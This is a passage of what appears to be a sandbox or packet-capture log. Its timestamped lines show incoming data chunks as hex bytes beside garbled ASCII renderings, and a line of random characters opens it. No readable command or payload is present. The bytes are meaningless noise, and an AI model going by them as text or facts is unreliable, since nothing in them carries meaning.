)2S&x}=_B)T^'yK2t7PX`5CC!dcT18)ZiT>tn=619<oteN{&h8:O]u_}/k7\v\<i=;yb<X(;D`?'5_Di+
2022-07-20 08:32:58 UTC	1141	IN	Data Raw: 8d 0b 02 17 70 f8 f3 94 39 d4 3e db fb 15 b1 8d 2f 20 cb c6 34 de 5d bb 41 f5 70 71 2a cb f6 b9 1a b7 48 dd 7c 0a 61 17 f3 5f 93 71 bd 63 89 dc 01 72 17 7b 1e c1 40 3e 79 52 00 11 01 14 5e 71 f7 e5 4e f6 b9 93 4c 64 fb 3b 16 7c 71 98 dc 5d 1d 28 29 6b eb b8 02 f5 ce fd d8 a3 1f 52 8a cb 96 e3 b8 7a 7d 41 b5 b5 59 56 e0 38 91 0e 0a 3c 3a 11 19 69 bb b0 e3 98 c4 21 74 5e 93 3f 51 5d f2 73 6c 5d 64 d6 29 4c 67 3e 56 2b f0 a7 94 5b 75 3a da 9a 40 4e df f0 2f 1c 64 d6 c2 75 f5 49 2b 4b ae b7 b0 8e 33 c0 91 88 49 8b 5d cd cd 10 78 6c ef 45 6d 2d a4 0c 5f 1f 32 9c 5e 52 90 c7 4a 76 db 66 4c fe 3f cc dc 59 e1 29 5b c2 b3 cc 0c 73 13 19 cc bd 12 d4 e3 1f 90 a1 6e 4e d2 da 20 44 b6 eb 77 17 21 a6 49 dd 53 a7 eb 14 8b 66 47 1d f6 9a 46 4c c8 89 a3 90 73 a4 f9 43 96 Data Ascii: p9>/ 4]Apq*H\|a_qcr{@>yR^qNLd;\|q]()kRz}AYV8<:i!t^?Q]sl]d)Lg>V+[u:@N/duI+K3I]xlEm-_2^RJvfL?Y)[snN Dw!ISfGFLsC
2022-07-20 08:32:58 UTC	1142	IN	Data Raw: 98 15 18 78 59 6b 3b fe 3b 90 16 e2 d1 cd 18 c9 fb 20 5a 44 02 cf e6 81 9d d0 1b 1b db 66 37 ea 44 34 6b ba 20 04 f0 5b 0f fb 3d b7 40 e9 af d5 12 47 57 df 20 11 4e db 42 eb 70 44 b7 3f 96 d4 2b 57 43 29 d4 e3 49 23 28 de 33 11 b5 e0 19 54 ad eb cf f7 4d 90 31 7e b2 30 c3 77 99 bb 0d 1d 04 06 b3 c2 ff 55 d9 58 8b cb 99 53 a4 26 a3 d1 0c 18 c2 da 12 ca 18 25 0f 3b 03 e4 97 34 4d 0a 6d 5c 73 17 40 01 83 9b 19 bb bd b5 d4 1d bd 50 8b 24 88 b5 6b 3b e0 37 3d ad 53 0f f5 13 b1 38 31 8e 9f e6 9c eb 5a d1 f9 96 6e f3 b9 f3 9a 07 18 57 95 e1 06 f3 0a bd e4 9e 3d ea d5 3c c8 69 a3 c0 0e 1a 6c 1d 78 2e 85 c1 16 0a 5d 83 ac f4 2f 84 6c f0 42 89 eb 9b cd 12 2d 75 bf fd 1c 48 59 eb e3 1d e4 bd 99 b6 b1 5d e0 18 3b 3b c6 37 09 06 d4 c8 69 f0 28 33 09 16 3c b5 85 cc d3 Data Ascii: xYk;; ZDf7D4k [=@GW NBpD?+WC)I#(3TM1~0wUXS&%;4Mm\s@P$k;7=S81ZnW=<ilx.]/lB-uHY];;7i(3<
2022-07-20 08:32:58 UTC	1158	IN	Data Raw: f8 1b 96 9c 35 5e c3 b9 cc 68 9c eb a5 f6 31 25 4b 13 7a 9c 88 69 4b 9b 86 1c 85 6e a3 19 4c 68 c9 1b cb 16 ac 55 9e 43 89 dc 98 49 5b 6b c6 9c b5 8e 33 59 3c 88 69 fb cb c6 7c 55 1e a3 09 cc c8 49 2b cb f6 cc 15 fe c3 d9 ac 48 59 6b 1b 66 9c f5 6e 63 89 dc 48 f9 1b ab 56 4c 15 ce 33 d9 4c f8 29 eb 4b c6 dc e5 4e 73 79 9c c8 c9 fb 3b 16 3c f5 6e d3 d9 9c 28 29 6b ab 46 cc b5 4e 03 d9 ac 98 69 8b cb 96 ac 35 5e 43 09 3c c8 89 1b 6b c6 dc 35 fe 33 b9 0c 18 69 bb 3b 96 4c 85 2e c3 59 9c 88 99 3b 7b 36 9c b5 ce d3 29 4c 68 89 1b db 96 9c 55 2e 43 b9 1c 98 c9 3b 0b 96 ac e5 6e a3 d9 cc f8 49 2b 4b 46 3c b5 8e 33 79 9c 88 49 8b 3b f6 0c 65 6e 93 29 cc 18 f9 5b cb 16 9c f5 9e 13 69 6c c8 c9 bb db 66 4c 15 8e 33 c9 cc c8 29 5b 4b f6 1c e5 ce 13 19 cc f8 99 1b ab Data Ascii: 5^h1%KziKnLhUCI[k3Y<i\|UI+HYkfncHVL3L)KNsy;<n()kFNi5^C<k53i;L.Y;{6)LhU.C;nI+KF<3yI;en)[ilfL3)[K
2022-07-20 08:32:58 UTC	1159	IN	Data Raw: fd e1 54 0c 04 b8 45 b1 f6 a6 2b 0a 64 df 41 eb e5 7e 74 e1 83 90 47 8b b2 9a 7e 92 9b cf cc ec 3d 5c ee e5 3f 05 9f 34 b2 77 c9 fa a9 55 a8 70 88 34 f1 55 82 52 67 56 d8 e3 e5 6f 31 2a 78 cd bf bc 73 cf 76 4e 62 de c7 e3 48 f8 59 28 f2 b9 53 49 7b 90 16 23 25 36 a5 e9 8c f4 ac 50 0d f9 fe 0e 33 d2 3c f7 49 93 8d e6 4c b9 4b b8 7f f3 1a b2 16 0a 03 c7 f4 e4 65 44 26 3d f7 fd d7 2c da 6f 71 52 91 cd a0 68 a0 2c 79 ed aa 6a 7f 3e 90 5b 1d 67 59 f2 f0 e5 b7 e4 1b 07 be c6 4a 56 8f 2b e0 70 a1 c0 ea 11 9b 11 d3 28 ee 0b 8d 2e 4d 01 84 cc a4 08 15 01 16 f6 cb 9a 24 9f 51 3b 35 ce d4 b1 53 90 67 6b b2 8a 2e 12 6b 8f 4c 2c 5d 1c fe b5 df f5 8f 34 62 d7 f9 7a 19 85 68 d0 38 c4 91 f5 02 a2 27 86 38 b3 35 cf 41 1a 18 9d ff 9c 43 1f 46 2e b2 9e f7 03 88 68 09 78 c2 Data Ascii: TE+dA~tG~=\?4wUp4URgVo1*xsvNbHY(SI{#%6P3<ILKeD&=,oqRh,yj>[gYJV+p(.M$Q;5Sgk.kL,]4bzh8'85ACF.hx
2022-07-20 08:32:58 UTC	1175	IN	Data Raw: 52 f6 1c f8 69 2b 13 2c fd 8a 6e c3 59 2c f8 fb aa a4 86 cc 35 be 09 02 5d f7 89 1b 4b 76 3b a6 4f fc 89 7c 28 29 cd c7 57 a3 35 5e c3 a9 44 6c 3b d4 cb f6 1c c5 b2 3f eb a3 88 69 4b 4b 32 48 47 51 a3 19 4c 98 56 67 09 29 ac 55 9e c3 e7 78 5a 76 5b 6b c6 2c 95 42 f1 66 3c 88 69 6b 7d 35 be 6a 1e a3 09 9c f8 52 e8 f4 f6 cc 15 de 4d 9b 6f 77 59 6b 1b 46 4c 9c ad 5c 89 dc 48 79 ed 3b 95 73 15 ce 33 b9 4d 40 ea d4 4b c6 dc 05 be ad ba a3 c8 c9 fb 0b d3 39 31 51 d3 d9 9c 58 57 47 6f 79 cc b5 4e d3 c5 ff 5c 56 8b cb 96 dc 95 27 87 36 3c c8 89 6b 62 66 18 0a fe 33 b9 0c 40 af 7f 04 96 4c 85 1e 4f b5 58 b7 99 3b 7b 76 3a a7 0b ec 29 4c 68 b9 bd e3 53 a3 55 2e 43 e9 90 c6 0c 04 0b 96 ac 75 36 27 1c f3 f8 49 2b 0b 4d 96 70 b1 33 79 9c f8 ed 44 fe c9 0c 65 6e d3 0d Data Ascii: Ri+,nY,5]Kv;O\|()W5^Dl;?iKK2HGQLVg)UxZv[k,Bf<ik}5jRMowYkFL\Hy;s3M@K91QXWGoyN\V'6<kbf3@LOX;{v:)LhSU.Cu6'I+Mp3yDen
2022-07-20 08:32:58 UTC	1176	IN	Data Raw: 68 f3 98 f9 3b db 2b 50 c4 f1 d3 29 6c 68 ad 60 7a 59 ac 25 1e 43 8a 56 49 26 8b 7b 96 1c 6f f6 12 36 7c 38 c9 fb 32 01 ed 5a 6e d3 29 bc e8 5f 8a 44 16 ac 35 3e bc ac dd a7 f9 eb 3b e6 2b 56 2f 2c 19 4c 48 a9 2d 19 b7 53 b5 8e 13 09 02 29 88 54 3b c6 3c 15 c0 7c b8 f3 18 c9 fb bb 31 92 94 f1 93 89 dc 08 11 e6 0a 59 dc e5 ce d3 f8 47 2a 76 eb 9b 46 5c f6 e4 11 16 ac 98 99 fb 96 7e 9e 0a 6e 93 c9 2c 38 fe 29 24 f6 3c 85 6e 28 6c 4e 57 99 6b ab f6 02 36 1c ec d9 1c 28 39 90 f9 14 e3 15 1e 33 19 43 f8 4b 84 7b 26 4c c5 83 bd 5b 23 58 99 8b ab 75 21 37 a1 a3 09 0c 38 1b 80 49 b9 3c 45 ce 73 80 05 ba c6 2b 4b 66 7c ac 29 91 86 7c 98 19 5b 39 53 ce 6a 3e 93 89 2c 8c bd b9 04 86 3c f5 ce 8c 8b ae 27 f9 3b cb 06 2e d5 4c 9c d9 3c f8 b9 d4 55 94 33 65 4e 33 f9 98 Data Ascii: h;+P)lh`zY%CVI&{o6\|82Zn)_D5>;+V/,LH-S)T;<\|1YG*vF\~n,8)$<n(lNWk6(93CK{&L[#Xu!78I<Es+Kf\|)\|[9Sj>,<';.L<U3eN3
2022-07-20 08:32:58 UTC	1192	IN	Data Raw: 9b c6 c2 ab 6e 43 61 82 69 89 9b c5 26 7c 1a a0 13 d9 7c 2b 58 eb d4 c8 3c 85 56 9d b9 1c b0 7a 3a 3b 0e 82 15 3e 44 97 1c f8 95 e8 0a 16 dc eb 6e c3 0f f3 28 99 1f c4 87 cc 45 71 63 89 71 97 89 1b 5b 02 dd 15 92 a3 89 7c 73 79 8b 1b ba f8 34 5e 9f d9 cc 68 60 8b cb f6 84 41 1f 13 b5 fc 88 69 aa fb 86 1c d5 0a a2 19 a8 08 c9 1b 88 77 ac 55 ea 27 88 dc dc 28 5b 6b d7 fe b5 8e 2f 3d 3d 88 7d 99 cb c6 48 37 1e a3 1d a8 c9 49 1f a9 f6 cc 3c 9d c3 d9 88 2c 58 6b 37 05 9c f5 fd 00 89 dc a8 a7 1a ab c2 2f 15 ce 54 bd 4c f8 5d b4 4a c6 b4 81 4e 73 73 f9 c8 c9 ab 65 17 3c f9 0b d3 d9 48 4d 29 6b df 19 cd b5 9a 66 d9 ac 0a 0f 8b cb e2 f3 34 5e d7 6f 3c c8 44 7d 6b c6 94 6b ff 33 69 6a 18 69 49 5d 96 4c cd 70 c2 59 68 ee 99 3b 25 51 9c b5 36 b7 28 4c 08 ee 1b db 3a Data Ascii: nCai&\|\|+X<Vz:;>Dn(Eqcq[\|sy4^h`AiwU'([k/==}H7I<,Xk7/TL]JNsse<HM)kf4^o<D}kk3ijiI]LpYh;%Q6(L:
2022-07-20 08:32:58 UTC	1193	IN	Data Raw: 66 cc 39 99 72 d9 7c 5f 89 eb 45 b1 6c b5 3a f1 c8 3c 98 fe fb 3b 78 55 b5 2e 53 3e ad 48 99 21 1b 56 56 1f 9e 33 21 ab 99 f9 a7 91 16 1c 69 55 d3 29 d0 af 88 3b d7 fd ac 25 c7 a8 89 3c 08 7e 8a 7b 4a d7 b5 8e a5 95 7c 38 69 e4 9a 86 54 f9 6e d3 10 41 98 c9 db 1c 17 ac 71 03 93 09 6f 06 f9 eb d7 96 cd e5 9a 8d 19 4c f7 f7 bb db 36 32 b4 8e cb 27 3c f8 50 f4 3b c6 6c bb 1f a3 65 53 18 c9 ba 54 46 7c 15 90 92 89 98 f7 19 1b ae f9 dc e5 9e 2d 68 4c 80 d6 eb 9b eb 93 e5 fe 93 77 ad 98 29 14 1b 56 64 94 6e 93 2d 5b 39 c9 d3 ba f6 3c cb ff 43 29 d4 36 98 6b fb 87 cc 65 65 72 d9 1c d4 5e ba 9b 6d 7d 15 1e 73 6c 3c 88 8d d3 7a 26 0c 20 4e c3 d7 b9 58 99 b3 a3 67 ac 85 3b a3 09 73 b0 49 1b c3 ee 3d 45 4e 7b 09 ac 7e 50 2b 4b 2e f4 14 9e 5b 10 7c 98 36 12 db 96 54 Data Ascii: f9r\|_El:<;xU.S>H!VV3!iU);%<~{J\|8iTnAqoL62'<P;leSTF\|-hLw)Vdn-[9<C)6keer^m}sl<z& NXg;sI=EN{~P+K.[\|6T
2022-07-20 08:32:58 UTC	1209	IN	Data Raw: f1 c3 12 31 c3 54 ac a4 4d b1 d9 21 f4 97 d3 13 f3 b9 46 bd d6 fc b3 94 e0 96 01 e3 de 83 0f b6 bb 36 26 e0 01 b4 71 6e b4 0a 84 eb 01 23 82 21 c3 64 cc d4 4d 01 f9 71 b4 b7 b3 43 83 69 d6 2d b6 3c 53 b4 70 e6 d1 93 ee 23 ff 96 bb 36 f6 50 41 74 e1 be 14 4a 84 6b 71 53 c2 31 43 64 6c 64 1d d1 89 21 b4 37 63 b3 63 99 36 bd a6 3c 63 d4 00 e6 61 b3 be 63 df f6 eb 46 26 c0 d1 14 21 5e 34 da f4 bb 01 63 62 c1 63 64 6c b4 ad 91 49 b1 64 97 23 b3 e3 e9 46 fd b6 bc 63 74 b0 b6 b1 c3 ee 63 5f 26 1b a6 d6 20 41 04 21 6e 54 aa f4 0b 21 33 22 e1 03 34 1c 64 3d 01 29 71 84 b7 b3 c3 33 99 76 5d 46 9c 63 74 60 06 f1 03 7e b3 ff 66 1b 26 a6 50 01 14 a1 6e f4 1a a4 db 51 63 22 61 d3 c4 fc 94 dd 91 39 71 b4 d7 c3 c3 83 b9 26 1d 66 fc 33 04 b0 96 61 63 be 53 df f6 6b f9 d6 Data Ascii: 1TM!F6&qn#!dMqCi-<Sp#6PAtJkqS1Cdld!7cc6<cacF&!^4cbcdlId#Fctc_& A!nT!3"4d=)q3v]Fct`~f&PnQc"a9q&f3acSk
2022-07-20 08:32:58 UTC	1210	IN	Data Raw: e4 37 c3 f3 63 09 f6 4d e6 ec f3 64 d0 66 f1 03 be 33 6f e6 2b a6 f6 c0 e1 04 d1 9e b4 0a a4 0b 01 53 b2 b1 33 64 8c 64 4d 01 99 71 64 37 63 43 33 d9 86 1d e6 6c 23 94 30 96 11 93 ae 33 5f 86 5b a6 46 e0 b1 44 f1 fe e4 7a 74 9b 91 33 72 51 13 f4 fc b4 3d 31 39 81 44 37 63 93 83 99 46 8d 36 cc 63 94 b0 e6 61 d3 be b3 5f 26 eb f6 96 90 e1 44 71 2e 14 9a 84 7b 01 23 72 61 73 84 fc 04 1d 61 79 a1 24 67 13 43 13 09 26 4d d6 ec f3 e4 60 96 51 73 4e 93 5f 26 3b 46 d6 50 71 94 d1 6e 14 1a f4 0b 41 33 f2 61 d3 34 ac d4 6d 31 79 21 f4 97 f3 b3 f3 99 36 4d e6 8c 83 e4 d0 b6 01 33 6e f3 0f 56 eb d6 46 30 b1 74 f1 fe 64 ca 84 3b e1 c3 d2 61 d3 e4 1c 94 ad a1 a9 81 b4 97 73 c3 83 d9 26 cd e6 2c 33 b4 00 c6 51 33 ee 23 ff b6 1b 36 d6 20 b1 44 91 8e 64 7a a4 6b a1 e3 b2 Data Ascii: 7cMdf3o+S3ddMqd7cC3l#03_[FDzt3rQ=19D7cF6ca_&Dq.{#rasay$gC&M`QsN_&;FPqnA3a4m1y!6M3nVF0td;as&,3Q3#6 Ddzk
2022-07-20 08:32:58 UTC	1226	IN	Data Raw: 66 63 c1 e6 43 46 a8 e0 19 44 0f ee 1c aa ea eb 89 63 5c 11 6b c4 52 44 f5 61 47 11 7c e7 2d 43 cb 39 c8 5d 9e 5c 05 b6 f7 66 0e 37 58 f3 8f e6 1b 76 36 c0 11 44 31 ee 84 ea 14 ab 71 c3 22 c1 c3 b4 1c d4 cd e1 79 61 e4 b7 c3 e3 b3 39 76 5d 46 bc c3 74 40 76 01 33 0e 83 8f 56 3b 26 76 e0 71 14 41 3e 14 7a 74 6b 91 e3 b2 b1 13 c4 2c 74 3d c1 79 61 34 07 83 23 23 e9 d6 1d 46 3c b3 04 00 66 8d 3b a7 39 d5 bc 76 79 43 58 9d e4 94 f6 c8 ea 51 53 9d 83 f7 89 9f e4 49 0c 21 a1 1c 29 d8 97 26 7b df 09 c3 b5 0a ec f6 0c 9c 96 94 0b 92 e3 5a fe b7 e6 93 f8 dd e4 14 86 b8 aa 41 d3 9d 23 47 d9 4f 94 19 0c a1 71 ec c9 28 77 b6 6b df 39 a3 c5 0a 5c d6 5c dc b6 f4 5b e2 33 ca 6e d7 26 73 d8 4d 94 c4 f6 88 0a b1 f3 9d 23 97 69 0f 54 89 dc 01 31 ec 49 58 07 f6 7b 5f 39 03 Data Ascii: fcCFDc\kRDaG\|-C9]\f7Xv6D1q"ya9v]Ft@v3V;&vqA>ztk,t=ya4##F<f;9vyCXQSI!)&{ZA#GOq(wk9\\[3n&sM#iT1IX{_9
2022-07-20 08:32:58 UTC	1227	IN	Data Raw: 3c 4a 5a 4b 79 63 5c 31 8b c4 22 74 65 91 47 51 cc e7 2d 23 cb e9 48 8d 9e ec bd 14 c8 36 6f a3 66 b3 c1 f6 33 36 18 b0 29 a4 9f 8e 1c 1a 1a 6b 19 33 2c e1 1b 54 43 b7 86 b1 dd d4 0e 97 2e 59 18 c9 76 5d 66 5c c3 04 70 e6 f1 33 4e 33 8f 56 5b 26 a6 60 a1 14 f1 8e 44 4a 24 3b e1 c3 f2 c1 d3 c4 6c 64 9d d1 99 f1 84 b7 73 13 33 a9 26 2d b6 cc 50 6a bf 06 df 90 0b ec ca 5e c7 d6 b3 58 9d c4 74 f6 b8 da c1 a3 9d c3 47 89 9f 84 49 dc a1 71 1c 99 68 c7 16 2b 8f 79 e3 f5 7a 2c f6 4c 8c 36 84 eb 02 53 ea 0e 87 f6 d3 08 ed 14 e4 66 d8 1a 21 83 0d b3 97 f9 af 24 b9 fc a1 71 cc 29 28 07 86 fb 2f 39 e3 75 0a 5c b6 5c 0c 36 24 5b 52 83 9a 5e 87 76 03 f8 0d e4 04 f6 c8 1a 11 e3 7d b3 27 d9 ff 64 99 9c f1 01 1c b9 b8 67 46 1b 0f a9 93 a5 7a 6c 16 ac 2c 36 24 8b e2 c3 5a Data Ascii: <JZKyc\1"teGQ-#H6of36)k3,TC.Yv]f\p3N3V[&`DJ$;lds3&-Pj^XtGIqh+yz,L6Sf!$q)(/9u\\6$[R^v}'dgFzl,6$Z
2022-07-20 08:32:58 UTC	1243	IN	Data Raw: 3f 77 21 df 78 d9 f4 e1 4d 3c 31 78 5b 66 33 af 65 53 5d fa a0 f6 b4 7c 4a e4 23 e2 3f ba 76 b7 0a 53 d0 9d 28 b4 de f8 16 61 fb dd 7f 67 a1 df d8 69 a4 31 3d 6c 31 f8 8b 96 d3 5f 85 c3 4d fa 90 96 c4 7c fa c4 73 a2 1f da 26 c7 da c3 40 fd e8 54 fe 68 66 b1 8b ed df 97 81 df d8 b9 14 71 fd fc e1 58 cb 96 53 2f f5 83 5d 7a 90 36 74 2c 2a b4 23 a2 9f 0a d6 27 2a 23 d0 ed e8 64 9e 18 66 01 ab bd 9f b7 e1 8f a8 69 84 e1 9d 3c 01 78 5b e6 83 5f c5 23 ad 5a 90 36 a4 9c 6a 74 b3 72 3f 45 d6 a7 5a cc d7 66 94 9b 79 33 ca 2e 9c 76 63 c8 76 e4 b4 66 23 ea 71 c3 76 83 d7 19 74 e4 69 9c ca a1 3c b9 33 97 06 eb 34 09 e3 25 e1 ec d6 9c 77 96 b4 9b 79 e3 7a 6e 5c e6 b3 68 36 e4 34 16 53 aa 61 43 76 23 67 49 a4 94 39 9c 4a 71 cc 59 c3 77 96 fb 34 39 83 55 e1 5c f6 cc 37 Data Ascii: ?w!xM<1x[f3eS]\|J#?vS(agi1=l1_M\|s&@ThfqXS/]z6t,#'#dfi<x[_#Z6jtr?EZfy3.vcvf#qvti<34%wyzn\h64SaCv#gI9JqYw49U\7
2022-07-20 08:32:58 UTC	1244	IN	Data Raw: 8b 66 83 1f 35 63 0d aa d0 d6 f4 0c 8a e4 63 f2 9f aa 96 27 ba e3 20 ad 38 f4 2e c8 e6 91 1b bd cf 07 f1 4f 48 b9 84 d1 8d cc c1 f8 8b b6 33 5f f5 f3 dd 0a 90 d6 74 7c fa a4 73 72 9f 0a 26 77 6a 93 70 ad b8 24 de 28 16 71 8b ad cf 37 91 3f 48 09 a4 81 cd ec a1 a8 fb 66 a3 cf 95 33 3d 2a 00 a6 a4 0c ca 04 83 52 9f 0a f6 c7 2a 53 e0 7d 18 64 de a8 66 01 cb bd 4f 37 31 8f 18 d9 d4 d1 cd 6c 71 58 1b 96 43 5f 85 33 0d 4a 70 a6 14 2c 9a 44 a3 32 cf 7a 26 57 ba 1c 20 9d 38 2b e9 e3 ea ce 2c d6 93 c8 76 c4 54 66 53 da e1 33 76 c3 67 19 74 84 69 4c 4a 71 3c 09 83 c7 36 bb 64 79 c3 65 91 2c d6 dc 67 36 a4 7b e9 53 ca 9e 6c f6 f3 98 06 14 c4 f6 33 1a 01 13 e6 b3 b7 69 44 24 99 6c 4a 71 ec b9 c3 07 a6 6b c4 39 c3 e5 e1 5c 96 cc e7 36 04 cb b9 83 ba ce 6c 76 23 68 e6 Data Ascii: f5cc' 8.OH3_t\|sr&wjp$(q7?Hf3=RS}dfO71lqXC_3Jp,D2z&W 8+,vTfS3vgtiLJq<6dye,g6{Sl3iD$lJqk9\6lv#h
2022-07-20 08:32:58 UTC	1260	IN	Data Raw: 4c 35 ee 93 c9 3c 38 c9 fb 1b f6 3c 85 5e 43 29 9c 68 19 6b ab 26 cc 65 ce d3 d9 1c 28 39 bb 9b c6 dc 95 1e 33 c9 3c 88 99 bb 7b 26 4c 85 4e c3 89 1c 58 99 8b cb 66 ac e5 9e a3 09 0c 18 49 1b 9b 86 3c 45 ce d3 09 ac 68 f9 2b 4b 66 9c 15 9e 43 b9 7c 98 19 bb db 96 1c 55 3e 93 89 9c 88 69 6b 3b 86 3c f5 9e 93 69 7c 18 f9 3b cb c6 1c 25 9e a3 d9 3c f8 99 eb ab 46 0c 65 4e 33 89 dc 68 39 bb db 46 ac 15 fe 03 59 3c c8 69 eb 4b f6 7c e5 1e 93 c9 cc 48 29 4b 9b c6 9c f5 6e 43 29 dc 68 89 eb 9b 26 7c 65 fe 13 d9 9c 48 59 eb ab 96 3c 85 9e c3 b9 1c 58 19 3b 3b c6 dc 15 3e 93 c9 1c f8 69 8b 0b 16 3c b5 6e c3 59 ac 28 99 6b 9b 86 cc 35 2e 63 89 9c c8 89 1b 4b 66 dc 15 8e c3 89 7d 28 19 8b 1b 96 9c 35 5e c3 b9 cc 68 f9 eb cb f7 1c 25 1e 13 29 9c 88 69 4b 9b 86 1c 85 Data Ascii: L5<8<^C)hk&e(93<{&LNXfI<Eh+KfC\|U>ik;<i\|;%<FeN3h9FY<iK\|H)KnC)h&\|eHY<X;;>i<nY(k5.cKf}(5^h%)iK
2022-07-20 08:32:58 UTC	1261	IN	Data Raw: 4a b1 fc 26 53 67 96 74 34 69 53 ca a1 bc f6 c3 37 76 e4 94 39 23 ca 01 cc 46 f3 e7 96 44 c4 69 b3 7a d1 3c a6 63 77 66 c4 84 c9 63 4a 31 2c d6 b3 97 76 e4 24 69 63 aa d1 bc 46 e3 67 36 c4 f4 69 53 1a 91 5c 26 33 07 b6 d4 b4 b9 c3 4a 71 cc 86 63 77 b6 74 c4 09 f3 9a 91 6c d6 33 e7 06 a4 34 e9 63 0a 61 ec 96 93 37 36 44 24 99 b3 ea 71 cc 36 33 37 d6 a4 b4 09 e3 1a 31 ec e6 33 07 66 e4 54 69 33 7a b1 fc a6 e3 97 36 04 c4 c9 63 0a b1 5c d6 53 a7 e6 e4 64 99 33 9a 01 8c 26 b3 37 76 14 e4 d9 93 4a 31 6c 36 c3 e7 96 04 c4 79 33 4a d1 8c a6 53 b7 66 44 e4 a9 33 7a 61 cc 46 33 67 06 c4 f4 e9 e3 ea 31 2c d6 93 37 76 c4 54 99 53 da e1 cc 76 c3 67 e6 74 84 69 b3 4a 71 3c f6 83 c7 36 44 64 79 c3 9a 91 2c d6 23 67 36 a4 84 e9 53 ca 61 6c f6 f3 67 06 14 c4 09 33 1a 01 Data Ascii: J&Sgt4iS7v9#FDiz<cwfcJ1,v$icFg6iS\&3Jqcwtl34ca76D$q63713fTi3z6c\Sd3&7vJ1l6y3JSfD3zaF3g1,7vTSvgtiJq<6Ddy,#g6Salg3
2022-07-20 08:32:58 UTC	1277	IN	Data Raw: 00 bd b6 77 27 49 38 99 f3 40 56 74 c2 22 ab 2d 33 85 be 5a 2b 5e 27 55 ba ff d5 b8 ae a9 eb d9 f7 84 42 b2 6b 1d a3 6f 9e ba 8b 2e e7 dd aa 7f c5 b8 3c 29 34 a8 0a f0 05 d2 33 91 07 d4 55 37 57 8a 34 e0 9a eb ad 93 e1 05 3f 83 31 94 4a 22 0f 15 c0 bc 3d db 0d 46 0c 81 75 db 39 9b d0 4a 4b 43 1e c7 e1 5d 0f 44 33 38 99 fb b8 5c 74 22 12 3b 25 73 c2 f8 6b fb 6e 47 99 86 04 a1 3f 18 81 56 ed c7 dc 71 95 23 d9 0b 60 8a 8d 2b 26 fe a8 06 14 f1 3f 68 21 3c 3d 67 ac 81 15 bb 19 3b 50 9a df eb d9 ff a5 02 43 f1 67 a4 65 e7 d7 aa 50 f5 d2 96 c9 5f 80 c1 ef af 86 54 f0 72 eb b5 d3 0b d5 43 23 0d 70 fd de 27 09 4a 18 a9 73 10 82 38 39 d6 74 25 d3 2f e0 ea fb 0e 87 0d 6a 5f f5 58 ac 41 78 47 8a 60 f5 32 93 a1 f7 04 f5 27 d7 3a 34 40 4a eb ed 83 c1 35 6f c3 91 d4 5a Data Ascii: w'I8@Vt"-3Z+^'UBko.<)43U7W4?1J"=Fu9JKC]D38\t";%sknG?Vq#`+&?h!<=g;PCgeP_TrC#p'Js89t%/j_XAxG`2':4@J5oZ
2022-07-20 08:32:58 UTC	1278	IN	Data Raw: 22 2e f7 65 c6 fc bd 9b 9b 16 ac 31 15 d7 55 84 b2 19 5b 73 4d d8 bd fe 27 e6 7b 80 71 78 5b ce 34 f4 8a db bd cb c8 19 63 10 3e 24 7b d4 9f ed e3 c3 4d 4f 3b 2e 17 99 66 77 3e 1b 58 e1 96 6f 72 cc 39 ce 6f a5 c0 30 91 ce 31 c6 dc 81 c5 6b 69 eb 80 12 bb 63 d0 7c c1 6e c7 66 df 0c 09 23 70 06 c4 5f 0e 46 ed e3 13 7d af eb de 2f dd 36 dc f1 77 41 95 3f 1b 8a 55 5d da 77 05 5f 3c 29 f3 e2 da 68 a1 66 1c 81 b3 c0 42 77 0f 76 74 16 e3 8f 1d 03 e3 d9 53 00 da b8 49 66 96 8c 53 13 d5 1f 13 7e d6 e4 6e ff a5 40 b4 3d 1b 53 cd 3c d1 07 2e 45 d3 03 5d af 5b be 8f 8d 46 0c d1 07 d4 65 17 12 52 b8 c1 16 1b 79 7b 80 10 f7 af 6e 04 ba 62 47 b5 40 84 5d 1b f3 b2 31 c9 ce 07 a6 8f dc f9 53 70 5e 24 1e 67 5e 6d 53 e3 dd df 5b 7e 1f 1d 66 3c d1 67 94 85 d7 07 aa 00 85 32 Data Ascii: ".e1U[sM'{qx[4c>${MO;.fw>Xor9o01kic\|nf#p_F}/6wA?U]w_<)hfBwvtSIfS~n@=S<.E][FeRy{nbG@]1Sp^$g^mS[~f<g2
2022-07-20 08:32:58 UTC	1294	IN	Data Raw: 0c ed fb 03 dd 80 8d a6 27 06 c2 d0 22 3b 13 3d dd 71 0f 77 19 23 41 9d 1f 9b 2e 27 85 3a cf bd 3b 98 a1 10 e6 97 4c d1 b7 db 19 1b 4d 9c 53 d4 d9 3d 49 26 04 59 ff f8 d1 a4 eb 5e 25 5d ba bf 75 80 cc 8d 9b 23 7d 40 ed 5e 4f 2d 4b a0 c9 8d 8a 66 24 10 ca 6b dd 73 73 5d 4f 3b 8e b7 85 3a d7 b5 f7 78 98 fb d3 cf 38 4d ee 87 d6 9f 4c 79 0b c3 ed 90 ed ee 67 d0 0f f9 09 a3 42 02 28 a1 b6 14 59 8f f0 81 02 0f 72 04 51 e5 43 d9 8b 38 99 fb a3 7d d1 56 a1 57 94 df 4c b1 23 90 62 e8 79 de c7 66 57 0c 49 f3 c8 0e 94 b2 df 27 76 f3 60 a4 56 d4 d9 04 20 ca bb 3d 1b 58 c9 c7 10 22 88 b1 d6 74 a9 2f 98 19 1b cb ce b7 25 ea a7 d5 b5 2a a9 2b 53 0d d8 1d ae 0f c5 f0 d4 6d 9b c3 95 d4 31 b5 0e f5 12 cc 1d 23 23 0d 78 fd de 87 d6 7b 50 90 bf bf 6e 1c 09 9e 8a cc 77 73 85 Data Ascii: '";=qw#A.':;LMS=I&Y^%]u#}@^O-Kf$kss]O;:x8MLygB(YrQC8}VWL#byfWI'v`V =X"t/%*+Sm1##x{Pnws
2022-07-20 08:32:58 UTC	1295	IN	Data Raw: d9 1b 53 ef 98 1d d6 d7 36 3f 0c 11 c3 c2 d2 b8 21 16 14 c9 ef 30 e1 68 5b fe 54 80 5a 6b 5d d3 03 7d 6f f3 ce 97 a9 26 74 a1 6f c0 99 1b 9b 5e 87 b1 d6 94 7c 93 59 e1 5f 73 4f d8 bd be 27 e6 7f ac 79 b3 10 8a 58 41 56 74 34 83 43 19 63 b0 37 84 f8 06 9b a5 22 0c 2d 0b 03 ed 10 fd ce 3f bd db a0 f2 d2 fa 56 04 00 8a 4b 8d 3e fd 91 34 41 c7 dc 81 c5 6b 69 fb 80 66 3b 23 9f 78 fd 1e c7 66 cf 0c 09 23 70 ca e8 39 4e 5f ed 43 28 0b 8a 9b de 25 5d 7a 4f 75 b0 9c fd 4b 73 4d 90 3d d6 87 71 50 19 39 f3 e2 d2 68 89 66 f4 29 bf b8 d9 73 a0 7a b8 b9 